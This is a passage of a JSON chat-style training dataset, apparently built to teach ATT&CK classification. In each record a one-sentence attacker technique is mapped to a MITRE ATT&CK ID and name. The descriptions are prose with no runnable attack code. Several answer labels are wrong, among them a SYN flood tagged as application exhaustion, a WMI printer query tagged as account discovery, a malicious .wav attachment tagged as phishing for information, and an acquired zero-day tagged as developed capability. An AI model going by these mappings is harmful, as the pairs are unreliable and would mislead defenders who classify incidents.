                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set establishes persistence by tunneling its beacon traffic over custom UDP packets to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider used Office 365 PowerShell to connect to Exchange Online and run remote commands on mail servers."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected by modifying shared modules on the system, allowing the payload to run whenever the module is loaded."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking Verclsid.exe with crafted arguments, the attacker proxies the execution of a ransomware component, leveraging the trusted binary to avoid alarms."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies a scheduled task name by inserting a Right-to-Left Override, making the task appear as a system service while it runs a hidden malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers pack the payload with a custom runtime packer to hide its original code signature."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script monitors active SSH connections and, upon detecting a privileged user, injects a payload to commandeer the session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the VDSO region to inject code, allowing the malicious payload to run with the privileges of the host process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromises a web server's HTTP/2 implementation, exploiting a buffer overflow to run code on the remote host."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Office 365 mail flow rules to route malicious emails to a hidden subfolder and apply the 'Low Importance' flag, avoiding user scrutiny."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows App Certification Kit, the threat actor registers a crafted DLL to be auto-loaded by the system at boot."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used regsvcs.exe to proxy execution of a payload via .NET serialization."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages symbolic links to a hidden directory, allowing the malicious payload to be accessed via a seemingly benign path."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group acquires a zero‑day exploit for a smart home device to develop new surveillance capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell's Get-Date cmdlet to capture the host's timestamp."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the AWS IAM CreateUser API call to generate an account for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromise the firmware signing process of a hardware manufacturer, enabling them to sign tampered firmware that appears legitimate."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals acquire a range of disposable virtual machines on a public cloud to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abused a misconfigured SSH daemon to gain unauthorized access and execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses covert channels, like steganography in image files or ICMP echo requests, to exfiltrate data when normal exfil routes are blocked."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script transfers sensitive logs to an attacker‑owned Amazon S3 bucket for staging."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a cloud function by exploiting a vulnerable third‑party library."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits CDN caching behavior to route malicious traffic through legitimate domains, achieving proxy communication."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious campaign leverages fast‑flux networks by having its payload hosted on a rapidly changing set of proxy servers."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sends spearphishing emails that contain links to a compromised Dropbox folder, where victims download a harmful PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script alters the firewall's logging rules so that it logs normal traffic as suspicious, flooding the alerting system with noise."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing page mimics a login portal and runs script that collects the user's session cookies upon successful entry."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows API function LoadLibraryExW to inject a DLL into the memory of another process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged the Group Policy Preferences feature, locating XML files with the cpassword attribute in the SYSVOL directory and extracting credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin’s session, the attacker runs \"dsadd user\" to create a service account in the domain."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool injects its payload using the Thread Local Storage technique, targeting the thread of a privileged service."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scripts a PowerShell command that reads saved credentials from the Windows Credential Manager and writes them to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables and removes mapped network shares to eliminate indicators of the compromised file shares."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use Google dorking to discover publicly exposed documentation that includes internal network diagrams."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload a malicious PHP web shell to a compromised web server to maintain persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Craft a malicious installer that uses the same icon and name as \"Microsoft Office Setup\" to trick users during installation."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool queries the browser's password manager API to list all stored website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker edited the firewall configuration YAML files in the IaC repository, committing changes that opened all ports before deployment."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan monitors browser memory for session tokens and exfiltrates them over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the Linux PAM configuration files to allow password-less login for a specific user account."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By replacing the current operating system image with a dated version, the intruder reopens previously patched attack surfaces."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a privilege escalation tool that reassigns ownership of key system files to the attacker’s account, effectively bypassing ACL restrictions."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group of attackers conducts a spear phishing campaign targeting key personnel in an organization with emails that appear legitimate but contain malicious attachments or links designed to infect their devices with malware."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the OpenSSL library on compromised hosts to force the use of 56-bit DES for all outbound HTTPS connections."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs an HTTP-based web shell that receives commands via parameters in URLs and returns output through the same channel."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a rule that monitors for specific keywords in incoming emails and, upon detection, launches a remote access trojan on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs Google dork searches to locate publicly accessible files and server logs belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker uses the device's CLI over a compromised VPN to change SNMP community strings for data collection."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries conducted reverse DNS lookups to map internal IP addresses to hostnames."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a tool to dump the Windows DPAPI-protected certificate store and then forged new certificates for persistence."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group distributed a malicious audio file (.wav) as an attachment, which exploited a media player bug to gain system access."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting payloads into a vulnerable application, the threat actor registers a new stored procedure that calls external executables."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest SSH private keys left in world-writable directories on compromised Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module runs Get-ADUser with the -Properties mail attribute to retrieve all stored email addresses."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor conducts a SYN flood against the target’s web server, exhausting the server’s half-open connection table."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised e‑commerce site to host hidden SEO‑optimized pages that rank for “free software download,” leading users to download trojanized installers."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the 'sc stop' command to terminate the Security Center service on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a cloud VM, the attacker made a snapshot to preserve the system for future exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use specialized OSINT tools to locate unprotected database interfaces listed in internet-wide scans."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a WMI query to pull all printer queue information."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects a hook into the OS login function that transforms the plaintext password into an encrypted form that can be later decrypted by the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the 'procinfo' command via a remote shell to enumerate processes on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a publicly disclosed vulnerability in an IoT device’s firmware to gain foothold on the internal network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the legitimate software installation package (SIP) with a malicious version, exploiting a trusted provider to execute code."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Python file was dropped in the startup folder to achieve execution on boot."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious SQL stored procedure into the compromised database to run arbitrary OS commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses the Set-GPRegistryValue cmdlet to change the password history requirement."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads the MAPI store of Outlook to collect sent and received emails."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses reg.exe to dump values from HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages containing plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor writes its command and control configuration to a hidden file within the Windows System Volume Information directory."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages Python's impacket library to enumerate SMB shares on target hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the WScript shortcut used by a legitimate utility to launch a malicious DLL during user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script registers a service that runs a hidden PowerShell script each time the system starts."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a specially crafted XSL file, the attacker triggers the transformation engine to download and run a payload."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent foothold is achieved by creating a malicious kernel module and configuring it to load via the system's init scripts."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the system's hardware registry to list all attached peripheral devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
